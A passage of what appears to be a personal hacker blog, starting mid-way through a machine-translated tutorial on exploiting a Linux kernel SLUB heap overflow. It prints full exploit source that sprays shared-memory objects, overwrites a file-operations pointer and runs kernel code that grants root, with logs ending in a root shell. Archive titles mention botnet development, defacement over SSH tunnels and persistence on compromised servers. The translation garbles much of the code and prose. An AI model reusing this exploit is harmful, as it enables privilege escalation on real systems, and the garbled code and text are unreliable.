                if (! check_slab (SLAB_NAME, & active_num, & total_num))
                        break;

                shmids [i] = shmget (IPC_PRIVATE, 1024, IPC_CREAT);
                if (shmids [i] <0) {
                        given by the perror ("shmget");
                        return -1;
                }
        }
        base = i;
        fprintf (stdout, "[+] smashing% d total:% d active:% d free in:% d \ n",
                i, total_num, active_num, total_num - active_num);

        fprintf (stdout, "[+] smashing adjacent slab ... \ n");
        i = base;
        for (; i <base + SLAB_NUM; i + +) {
                shmids [i] = shmget (IPC_PRIVATE, 1024, IPC_CREAT);
                if (shmids [i] <0) {
                        given by the perror ("shmget");
                        return -1;
                }
        }
        check_slab (SLAB_NAME, & active_num, & total_num);
        fprintf (stdout, "[+] smashing% d total:% d active:% d free in:% d \ n",
                i, total_num, active_num, total_num - active_num);
...

[Wzt @ localhost exp] $. / Exp
[+] Mmaping kernel code at 0x41414141 ok.
[+] Looking for symbols ...
[+] Found commit_creds addr at 0xc0446524.
[+] Found prepare_kernel_cred addr at 0xc0446710.
[+] Setting up the exploit the payload ...
[+] Checking slab total: 840 the active: 836 free in: 4
[+] Smashing free in the slab ...
[+] Smashing 17 total: 840 the active: 840 free in: 0
[+] Smashing adjacent slab ...
[+] Smashing 117 total: 966 the active: 966 free in: 0

Can see the dmesg information, new obj continuous.
[Wzt @ localhost exp] $ dmesg | tail-n 10
[+] Kmalloc at 0xdf1ea120
[+] Kmalloc at 0xdf1ea180
[+] Kmalloc at 0xdf1ea1e0
[+] Kmalloc at 0xdf1ea240
[+] Kmalloc at 0xdf1ea2a0
[+] Kmalloc at 0xdf1ea300
[+] Kmalloc at 0xdf1ea360
[+] Kmalloc at 0xdf1ea3c0
[+] Kmalloc at 0xdf1ea420
[+] Kmalloc at 0xdf1ea480

ok, we have been able to obtain a continuous obj to use slub another feature: the FIFO, first select an obj released in the successive obj
And then immediately trigger a bug in the code, then that obj obj address for bug-free code to call kmalloc allocation is just released, when the overflow occurred, the dirty data will overwrite
It adjacent to the next obj. Use the following code to trigger:

trigger.c:
...
        free_idx = i - 4;
        fprintf (stdout, "[+] free exist shmid with idx:% d \ n", free_idx);
        if (shmctl (shmids [free_idx], IPC_RMID, NULL) == -1) {
                given by the perror ("in shmctl");
        }

        fprintf (stdout, "[+] trigger kmalloc overflow in% s \ n", SLAB_NAME);
        memset (buff, 0x41, sizeof (buff));
kmalloc_overflow_test (buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof (shmid_kernel));
...

Here we will last four obj released dmesg you can see after the execution:

[+] Kmalloc at 0xd3decc00
[+] Kmalloc at 0xd3decc60
[+] Kmalloc at 0xd3deccc0
[+] Kmalloc at 0xd3decd20
[+] Kmalloc at 0xd3decd80
[-] Kfree at 0xd3decc60
...............................
[+] Got object at 0xd3decc60
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

After the the shmctl release out 0xd3decc60 address, the bugs kmalloc assigned address is also 0xd3decc60.

[Wzt @ localhost exp] $ tail / proc / sysvipc / shm
         0,819,225,001,024,314,800 500 500 500 500 0 0 1293098372
1094795585 1094795585 05001345228840 500 1094795585 1094795585 0 0 4294967295 252 0
1094795585 1094795585 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
         0,832,332,601,024,314,800 500 500 500 500 0 0 1293098372
Can see that in adjacent and 0xd3decc60, the next obj address 0xd3deccc0 shmid_kernel structure has been covering.

Now we can cover a function pointer, just meet we need a function pointer in shmid_kernel

ipc shared memory data structure of the struct shmid_kernel handled in the kernel:

struct shmid_kernel / * private to the kernel * /
{
        struct kern_ipc_perm shm_perm;
        struct file * shm_file;
        unsigned long shm_nattch;
        unsigned long shm_segsz;
        time_t shm_atim;
        time_t shm_dtim;
        time_t shm_ctim;
        pid_t shm_cprid;
        pid_t shm_lprid;
        struct user_struct * mlock_user;
;}

struct shmid_kernel {
. Shm_file = struct file {
F_op is = struct file_operations = {
. The mmap = ATTACKER_ADDRESS
}
}
}
Shmat system call is triggered:

sys_shmat () -> do_shmat ():
long do_shmat (int shmid, char __ user * shmaddr, int shmflg, ulong * raddr)
{
user_addr = do_mmap (file, addr, size, prot, flags, 0);
}
do_mmap will be covered for the shellcode address.

ok, now can write a complete exp, try first:
[Wzt @ localhost exp] $. / Exp
Execution system hang, look dmesg:
[+] Kmalloc at 0xd31752a0
[+] Kmalloc at 0xd3175300
[+] Kmalloc at 0xd3175360
[+] Kmalloc at 0xd31753c0
[+] Kmalloc at 0xd3175420
[+] Kmalloc at 0xd3175480
[+] Kmalloc at 0xd31754e0
[-] Kfree at 0xd31753c0
...............................
[+] Got object at 0xd31753c0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
BUG: unable to the handle the kernel NULL pointer dereference at (null)
IP: [<c04fc352>] ipc_has_perm +0 x46/0x61
* Pde = 00000000
The Oops: 0000 [# 1] the SMP
last sysfs file: / sys/devices/pci0000: 00/0000: 00:05.0 / local_cpus
Modules linked in: sys ipv6 autofs4 sunrpc ip_tables ip6_tables x_tables dm_multipath video output sbs sbshc battery ac parport_pc lp parport snd_intel8x0 snd_ac97_codec ac97_bus snd_seq_dummy snd_seq_oss snd_seq_midi_event snd_seq snd_seq_device snd_pcm_oss snd_mixer_oss ide_cd_mod button cdrom snd_pcm rtc_cmos serio_raw rtc_core rtc_lib snd_timer 8139too floppy snd 8139cp soundcore i2c_piix4 mii snd_page_alloc i2c_core pcspkr dm_snapshot dm_zero dm_mirror dm_region_hash dm_log dm_mod ata_piix libata sd_mod scsi_mod ext3 jbd uhci_hcd ohci_hcd ehci_hcd [last unloaded: microcode]

Pid: 3.19 thousand, comm: exp Not tainted (2.6.32 # 2) Bochs is
EIP: 0060: [<c04fc352>] EFLAGS: 00010246 CPU: 1
EIP is at ipc_has_perm +0 x46/0x61
EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: d3175428
ESI: 000001f0 EDI: d33ebf30 EBP: 00000080 ESP: d33ebec8
DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068
Process exp (pid: 3190, ti = d33eb000 task = dbe6ea30 task.ti = d33eb000)
Stack:
d3175428 d33ebed0 00000004 00000000 00000000 00000000 00000000 00000000
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
The Call the Trace:
[<c04f9cf3>]? Security_ipc_permission +0 xf/0x10
[<c04f22e4>]? Do_shmat +0 xdc/0x349
[<c04057da>]? Sys_ipc +0 xff/0x162
[<c0402865>]? Syscall_call +0 x7/0xb
Code: 8c e4 82 c0 8b 92 d8 02 00 00 89 c7 8b 52 58 8b 72 04 31 d2 89 44 24 04 89 d0 f3 ab 8b 14 24 c6 44 24 08 04 8b 42 0c 89 44 24 10 <0f> b7 0b 8d 44 24 08 8b 53 04 50 89 of f0 55 e8 75 fb ff ff 83 c4,
EIP: [<c04fc352>] ipc_has_perm +0 x46/0x61 SS: ESP 0068: d33ebec8
CR2,: 0000000000000000
--- [End trace 7bbab7e881899412] ---
[Wzt @ localhost exp] $
The problem looks like selinux, it closed out in try:

[Wzt @ localhost exp] $. / Exp
[+] Mmaping kernel code at 0x41414141 ok.
[+] Looking for symbols ...
[+] Found commit_creds addr at 0xc0446524.
[+] Found prepare_kernel_cred addr at 0xc0446710.
[+] Setting up the exploit the payload ...
[+] Checking the slab total: 798 active: 791 free in: 7
[+] Smashing free in the slab ...
[+] Smashing 5 total: 798 the active: 798 free in: 0
[+] Smashing adjacent slab ...
[+] Smashing 105 total: 924 the active: 924 free in: 0
[+] Free exist shmid with idx: 101
[+] The trigger kmalloc the overflow in kmalloc-96
[+] Shmid_kernel size: 80
[+] Kern_ipc_perm size: 44
[+] Shmid: 3,309,669
[+] Launching the root shell!
[Root @ localhost exp] # uname-a
Linux localhost.localdomain 2.6.32 # 2 SMP Thu Dec 23 14:59:36 CST 2010 i686 i686 i386 GNU / Linux
[Root @ localhost exp] #
Successful, and finally got a lovely root!

Five, source:

   exp.c
/ *
* Linux kernel slub overflow test exploit
*
* By wzt <wzt.wzt@gmail.com>
*
* /

# Include <stdio.h>
# Include <stdlib.h>
# Include <string.h>
# The include <unistd.h>
# Include <fcntl.h>
# The include <limits.h>
# The include <inttypes.h>
# The include <sys/types.h>
# Include <sys/ipc.h>
# Include <sys/sem.h>
# Include <sys/shm.h>
# Include <sys/mman.h>
# Include <sys/stat.h>

# Include "syscalls.h

# Define __ NR_kmalloc_overflow_test 59

# Define KALLSYMS_NAME "/ proc / kallsyms"
# Define SLAB_NAME "kmalloc-96"
# Define SLAB_SIZE 96
# Define SLAB_NUM 100

# Define IPCMNI 32768
# Define EIDRM 43
# Define HDRLEN_KMALLOC 8

the struct the list_head {
struct the list_head * the next;
the struct the list_head * prev;
;}

the struct the super_block {
struct list_head s_list;
unsigned int s_dev;
unsigned long s_blocksize;
unsigned char s_blocksize_bits;
unsigned char s_dirt;
uint64_t s_maxbytes;
void * s_type;
void * s_op;
void * dq_op;
void * s_qcop;
void * s_export_op;
an unsigned long the s_flags;
} The super_block;

the struct the mutex {
unsigned int count;
unsigned int wait_lock;
struct list_head wait_list;
void * the owner;
;}

the struct the inode {
struct list_head i_hash;
struct list_head i_list;
struct list_head i_sb_list;
struct list_head i_dentry_list;
unsigned long i_ino;
unsigned int i_count;
unsigned int i_nlink;
unsigned int i_uid;
unsigned int i_gid;
unsigned int i_rdev;
uint64_t i_version;
uint64_t the i_size;
unsigned int i_size_seqcount;
long i_atime_tv_sec;
long i_atime_tv_nsec;
long i_mtime_tv_sec;
long i_mtime_tv_nsec;
long i_ctime_tv_sec;
long i_ctime_tv_nsec;
uint64_t i_blocks;
unsigned int i_blkbits;
unsigned short i_bytes;
an unsigned short i_mode;
unsigned int i_lock;
struct mutex i_mutex;
unsigned int i_alloc_sem_activity;
unsigned int i_alloc_sem_wait_lock;
struct list_head i_alloc_sem_wait_list;
void * i_op;
void * i_fop;
struct super_block * i_sb;
void * i_flock;
void * i_mapping;
the char i_data [84];
void * i_dquot_1;
void * i_dquot_2;
struct list_head i_devices;
void * i_pipe_union;
unsigned int i_generation;
unsigned int i_fsnotify_mask;
void * i_fsnotify_mark_entries;
struct list_head inotify_watches;
struct mutex inotify_mutex;
} The inode;

the struct the dentry {
unsigned int d_count;
unsigned int d_flags;
unsigned int d_lock;
int d_mounted;
void * d_inode;
struct list_head d_hash;
void * d_parent;
} The dentry;

the struct file_operations {
void * the owner;
void * the llseek;
a void * the read;
void * the write;
a void * the aio_read;
void * aio_write;
a void * fashion in which readdir;
void * the poll;
void * the ioctl;
void * unlocked_ioctl;
void * compat_ioctl;
void * the mmap;
a void * open;
void * the flush;
a void * release;
void * the fsync;
void * The aio_fsync;
void * the fasync;
void * lock;
void * sendpage;
void * get_unmapped_area;
void * check_flags;
void * flock;
void * splice_write;
void * splice_read;
void * setlease;
} Op,;

the struct vfsmount {
struct list_head mnt_hash;
void * mnt_parent;
void * mnt_mountpoint;
void * mnt_root;
void * mnt_sb;
struct list_head mnt_mounts;
struct list_head mnt_child;
int mnt_flags;
const char * mnt_devname;
struct list_head mnt_list;
struct list_head mnt_expire;
struct list_head mnt_share;
struct list_head mnt_slave_list;
struct list_head mnt_slave;
struct vfsmount * mnt_master;
struct mnt_namespace * mnt_ns;
int mnt_id;
int mnt_group_id;
int mnt_count;
} Vfsmount;

the struct the file {
struct list_head fu_list;
struct vfsmount * f_vfsmnt;
struct the dentry * f_dentry;
void * f_op is;
unsigned int f_lock;
unsigned long f_count;
} The file;

struct kern_ipc_perm {
unsigned int lock;
int deleted;
int id;
unsigned int the key;
unsigned int uid;
unsigned int gid;
unsigned int cuid;
unsigned int cgid;
unsigned int mode;
unsigned int seq;
void * security;
;}

struct shmid_kernel {
struct kern_ipc_perm shm_perm;
struct file * shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
unsigned int shm_cprid;
unsigned int shm_lprid;
void * mlock_user;
} Shmid_kernel;

typedef int __ attribute__ ((regparm (3))) (* _commit_creds) (unsigned long cred);
typedef unsigned long __ attribute__ ((regparm (3))) (* _prepare_kernel_cred) (unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static inline my_syscall2 (long, kmalloc_overflow_test, char *, addr, int, size);

int __ attribute__ ((regparm (3)))
kernel_code (struct file * file, void * vma)
{
commit_creds (prepare_kernel_cred (0));
return -1;
}

unsigned long find_symbol_by_proc (char * file_name, char * symbol_name)
{
        FILE * s_fp;
        char buff [200];
        char * p = NULL, * p1 = NULL;
        an unsigned long addr = 0;

        s_fp = fopen (file_name, "r");
        if (s_fp == NULL) {
                printf ("open% s is failed \ n", file_name);
                return 0;
        }

        while (fgets (buff, 200, s_fp)! = NULL) {
                if (of strstr (buff symbol_name) = NULL) {
                        buff [strlen (buff) - 1] = '\ 0';
                        p = strchr (the strchr (buff, '') + 1, '');
                        + + P;

                        if (! p) {
                                return 0;
                        }
                        if (! strcmp (p, symbol_name)) {
                                p1 = the strchr (buff, '');
                                * P1 = '\ 0';
                                sscanf (buff, "% lx", & addr);
                                / / Addr = strtoul (buff, NULL, 16);
                                printf ("[+] found% s, addr at 0x% x \ n",
                                        symbol_name, addr);
                                break;
                        }
                }
        }

        fclose (s_fp);
        return addr;
}

int check_slab (char * slab_name, int * active, int * total)
{
FILE * fp;
a char buff [1024], name [64];
int active_num, total_num;

fp = fopen ("/ proc / slabinfo", "r");
if (! fp) {
given by the perror ("fopen");
return -1;
}

while (fgets (buff, 1024, fp)! = NULL) {
sscanf (buff, "% s% u% u", name, & active_num, & total_num);
if (! strcmp (slab_name, name)) {
* Active = active_num;
* Total = total_num;
return total_num - active_num;
}
}

return -1;
}

void clear_old_shm (void)
{
char * cmd = "for shmid in` cat / proc / sysvipc / shm | awk '{print $ 2}' `;"
"Do ipcrm-m $ shmid> / dev / null 2> &1; done;";

system (cmd);
}

void mmap_init (void)
{
a void * the payload;

        the payload = mmap ((void *) (0x41414141 & 0xfff are), 2 * 4096
                       PROT_READ | PROT_WRITE | PROT_EXEC,
                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
        if ((long) the payload == -1) {
                printf ("[*] Failed to the mmap () at the target address. \ n");
                return;
        }
printf ("[+] mmaping kernel code at 0x41414141 ok. \ n");
        memcpy ((void *) 0x41414141, & kernel_code, 1024);

}

void setup (void)
{
printf ("[+] looking for symbols ... \ n");

commit_creds = (_commit_creds)
find_symbol_by_proc (KALLSYMS_NAME, "commit_creds");
    if (! commit_creds) {
printf ("[-] not found commit_creds addr. \ n");
return;
    }

prepare_kernel_cred =
(_prepare_kernel_cred) Find_symbol_by_proc (KALLSYMS_NAME,
"Prepare_kernel_cred");
    if (! prepare_kernel_cred) {
printf ("[-] not found prepare_kernel_cred addr. \ n");
return;
    }

printf ("[+] setting up the exploit the payload ... \ n");

super_block.s_flags = 0;

    inode.i_size = 4096;
    inode.i_sb = & super_block;
    inode.inotify_watches.next = & inode.inotify_watches;
    inode.inotify_watches.prev = & inode.inotify_watches;
    inode.inotify_mutex.count = 1;

    dentry.d_count = 4096;
    dentry.d_flags = 4096;
    dentry.d_parent = NULL;
    dentry.d_inode = &inode;

    op.mmap = & kernel_code;
    op.get_unmapped_area = & kernel_code;

    vfsmount.mnt_flags = 0;
    vfsmount.mnt_count =;

    file.fu_list.prev = & file.fu_list;
    file.fu_list.next = & file.fu_list;
    file.f_dentry = &dentry;
    file.f_vfsmnt = &vfsmount;
    file.f_op = &op;

    shmid_kernel.shm_perm.key = IPC_PRIVATE;
    shmid_kernel.shm_perm.uid = 501;
    shmid_kernel.shm_perm.gid = 501;
    shmid_kernel.shm_perm.cuid = getuid ();
    shmid_kernel.shm_perm.cgid = getgid ();
    shmid_kernel.shm_perm.mode = -1;
    shmid_kernel.shm_file = &file;
}

int trigger (void)
{
int * shmids;
int total_num, active_num, free_num;
int base, free_idx, i;
int ret;
char buff [1024];

clear_old_shm ();

free_num = check_slab (SLAB_NAME, & active_num, & total_num);
fprintf (stdout, "[+] checking the slab total:% d of the active:% d free in:% d \ n",
total_num, active_num, total_num - active_num);

shmids = malloc (sizeof (int) * (free_num + SLAB_NUM * 3));

fprintf (stdout, "[+] smashing free in the slab ... \ n");
for (i = 0; i < free_num + SLAB_NUM; i++) {
       if (!check_slab(SLAB_NAME, &active_num, &total_num))
           break;

       shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
       if (shmids[i] < 0) {
           perror("shmget");
           return -1;
       }
   }
   base = i;
        fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
                i, total_num, active_num, total_num - active_num);

   fprintf(stdout, "[+] smashing adjacent slab ...\n");
   i = base;
   for (; i < base + SLAB_NUM; i++) {
                shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
                if (shmids[i] < 0) {
                        perror("shmget");
                        return -1;
                }
   }
   check_slab(SLAB_NAME, &active_num, &total_num);
        fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
                i, total_num, active_num, total_num - active_num);

   //free_idx = base + SLAB_NUM - 4;
   free_idx = i - 4;
   fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
   if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
       perror("shmctl");
   }

   sleep(1);

   fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
   memset(buff, 0x41, sizeof(buff));
   shmid_kernel.shm_perm.seq = shmids[free_idx + 1] / IPCMNI;
   memcpy(&buff[SLAB_SIZE + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
   //memcpy(&buff[SLAB_SIZE], &shmid_kernel, sizeof(shmid_kernel));

   printf("[+] shmid_kernel size: %d\n", sizeof(shmid_kernel));
   printf("[+] kern_ipc_perm size: %d\n", sizeof(struct kern_ipc_perm));
   printf("[+] shmid: %d\n", shmids[free_idx]);

   kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));

   ret = (int)shmat(shmids[free_idx + 1], NULL, SHM_RDONLY);
   if (ret == -1 && errno != EIDRM) {
       setresuid(0, 0, 0);
       setresgid(0, 0, 0);

       printf("[+] launching root shell!\n");

       execl("/bin/bash", "/bin/bash", NULL);
       exit(0);
   }

   return 0;
}

int main(void)
{
   mmap_init();
   setup();
   trigger();
}

å...ãEUR�å�,èEUR?

1ãEUR� Jon Oberheide - Linux Kernel CAN SLUB Overflow
2ãEUR� grip2 - Linux å+...æ ¸æº¢å?ºç "ç©¶ç³»å^--(2) - kmalloc æº¢å?ºæ?EURæoe¯
3ãEUR� qobaiashi - the sotry of exploiting kmalloc() overflows
4ãEUR� Ramon de Carvalho Valle - Linux Slab Allocator Bu_er Overow Vulnerabilities
5ãEUR� wzt - How to Exploit Linux Kernel NULL Pointer Dereference
6ãEUR� wzt - Linux kernel stack and heap exploitation

some good reading materials for real 1337

2012-02-08T12:23:00.000-08:00

http://www.cloud-sec.org/
http://duartes.org/gustavo/blog/post/how-the-kernel-manages-your-memory
http://articles.manugarg.com/systemcallinlinux2_6.html

ok after a pretty long time finally i got chance to continue again

2012-02-06T09:37:00.000-08:00

prepare urself cocroach

2012-02-04T20:56:00.005-08:00

i just remember when i was young i'm good at mathematic, prepare ur self cocroach , i'll recall it back and gain more power
http://web.archive.org/web/20030813073451/http://www.solhack.ath.cx/aboutus.html

neighbour

2012-02-01T14:48:00.001-08:00

http://tomoyo.sourceforge.jp/cgi-bin/lxr/source/net/core/neighbour.c

Some kprobes articles

2012-02-01T14:22:00.001-08:00

http://www.mjmwired.net/kernel/Documentation/kprobes.txt

http://www.ibm.com/developerworks/library/l-kprobes/index.html

http://lwn.net/Articles/132196/

http://www.redhat.com/magazine/005mar05/features/kprobes/

burn the creativity to create some codes that never exists

2012-02-01T13:36:00.001-08:00

so sue me all 1337 hates copycaters, they copycat other's code and call themself 1337 meanwhile i create all codes and ideas from my brain only and they calle me kids, what da fvckin retarded, fvckin shit at least i know IDT shitz

2012 botnet development continue

2012-02-01T12:28:00.000-08:00

i got so dizzy when i see there so many files already, so i rearrange them into folders just like my gopher, i'll never resign until i create a master piece

Tommy Winata - my idol

2012-01-31T03:40:00.001-08:00

Tommy Winata (lahir dengan nama Oe Suat Hong di Pontianak, Kalimantan Barat, 23 Juli 1958; umur 53 tahun), atau sering dikenal dengan inisial TW, adalah seorang pengusaha Indonesia keturunan Tionghoa yang merupakan pemilik Grup Artha Graha. Usahanya terutama bergerak dalam bidang perbankan, tekstil dan konstruksi. Ia seringkali didesas desuskan mempunyai kaitan dengan bisnis hitam dan ilegal.
Grup Artha Graha miliknya didirikan dengan dukungan dari TNI (dahulu ABRI), melalui beberapa kawan dekatnya seperti Eddy Sudradjat (dahulu KSAD, sekarang Ketua Umum partai PKPI).Ia termasuk "taipan" yang ditakuti karena di belakangnya konon berdiri tokoh-tokoh militer. Suginato Kusuma atau lebih dikenal sebagai Aguan juga adalah mitra Tomy dalam Grup Artha Graha.
Melalui Bank Artha Graha, Tomy menyelesaikan proyek SCBD termasuk gedung bursa saham Jakarta. Selain itu Tomy mempunyai andil dalam pembangungan Bukit Golf Mediterania, Kelapa Gading Square, The City Resorts, Mangga Dua Square, Pacific Place, Discovery Mall Bali, Borobudur Hotel, The Capital Residence, Apartemen Kusuma Candra, Ancol Mansion, The Mansion at Kemang, Mall Artha Gading, Senayan Golf Residence.
Taipan muda ini konon menyuruh karyawannya merusak gedung majalah dan koran Tempo karena dituduh membakar pasar Tanah Abang pada awal 2003. Lalu ia memenangkan proses di pengadilan dan mendapatkan uang sebesar Rp. 500 juta.
Menangnya Tommy Winata dalam sidang ini, membuat para wartawan di Indonesia menjadi ketakutan dalam meliput berita.
Sekarang ini Tomy sedang merintis perkembangan bibit unggul padi yang diharapkan dapat meningkatkan produksi padi nasional Indonesia. Melalui PT Sumber Alam Sutera, Tomy bekerja sama dengan Guo Hao Seed Industries Co. Ltd. dari China untuk bersama2 mengembangkan bibit hybrid yang dapat meningkatkan produksi padi menjadi 5-8 ton/hektar.

mywisdom blog

simple tor ip collector and blocker 3

simple tor ip collector and blocker 2

tor_server_collector.py

some skid attacking one of my server using tor exit nodes

zedi.pl the lord videl

reducing the tcp time wait & recycling trick

Securing a Server from the Basic : Non Executable /tmp

Basic php.ini Security Setting

herosvh.asm TCP/IP Stack Hardening and Basic Rootkit Checker | dedicated for my friend

chrooting nginx

chrooting bind

botnet development continue

Preparing New Dedicated Server

instalasi mysql di dalam chroot jail

[install nginx-1.0.11 di dalam chroot jail]

fetch_nginx_so.pl

heh bocah ingusan

getnamedautoresolve.pl

[the spirit of the dare devil] - martial art is an art of self defense

Model 7 layer osi vs Model TCP / IP

[Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server yang diowned]

Ekstrak rpm di slackware 13.37 dengan cpio

simple perl script for checking httpd connection and auto restart

instalasi mod_qos 10.2 untuk server apache oye nan unyu2

3 baris kode buatan syadmin pemalas untuk ngerjain orang

sekilas tentang model memori dengan segmen dan offset

pada model memori dg segmen dan offset misal: 1A42:38A7,1A42 adl alamat segmen dan 38a7 adl alamat offset, alamat absolutnya adalah : 1dcc7 didapat dari (1A42 * 10)+38a7=1dcc7

sekilas tentang boot sector

tiap disk memiliki sec,cyl dan hds, blok 0=gabungan dari sector 1, cylinder 0 dan head 0 (1,0,0), blok 1 = gabungan dari sector 2, cylinder 0 dan head 0 (2,0,0) , saat sistem reset bios melakukan pengecekan pada blok 0 (1,0,0) dengan alamat memori absolut 7C000

[Cara Ngakses Gopher dari Console Linux]

Mengetahui Berapa Banyak Router dari Server kita ke google.com

SSH tunneling di linux (socks) untuk proksi biar kegiatan deface2 lebih aman

merikenin.asm - Merikenin TCP/IP Stack Hardening and Basic Rootkit Checker version 1.0

sysctl -w net.ipv4.conf.all.rp_filter=1

kernel 2.2 syscall table for old hackers

kernel 2.2 syscall table for old hackers

System Call Numbers

Typedefs

Struct Declarations

©2004, Gary L. Burt

Surat Cinta Ev1lut10n

kids game

- Server Freezing (Bukan DDOS !!! (echo.or.id case study)) - by: ev1lut10n

jasa pembuatan website

ev1lut10n.asm - a simple game for linux 32 bit

agenbolasbobet

agenbolasbobet

2012 botnet development continue

some valentine guitar creation by ev1lut10n

seekuser.py

bypass disable php function, disable cgi python, cgi perl

modifikasi WP bit pada register cr0 di mesin x86

well some kernel space buggy

as always as usual.doing my job as sysadmin

auto backup all /home/$user/public_html to /root/backup_home

my old book is back

Linux Kernel Slub Overflow

some good reading materials for real 1337

ok after a pretty long time finally i got chance to continue again

prepare urself cocroach

i just remember when i was young i'm good at mathematic, prepare ur self cocroach , i'll recall it back and gain more powerhttp://web.archive.org/web/20030813073451/http://www.solhack.ath.cx/aboutus.html

neighbour

Some kprobes articles

burn the creativity to create some codes that never exists

2012 botnet development continue

Tommy Winata - my idol

pada model memori dg segmen dan offset misal: 1A42:38A7,
1A42 adl alamat segmen dan 38a7 adl alamat offset, alamat absolutnya adalah : 1dcc7 didapat dari (1A42 * 10)+38a7=1dcc7

i just remember when i was young i'm good at mathematic, prepare ur self cocroach , i'll recall it back and gain more power
http://web.archive.org/web/20030813073451/http://www.solhack.ath.cx/aboutus.html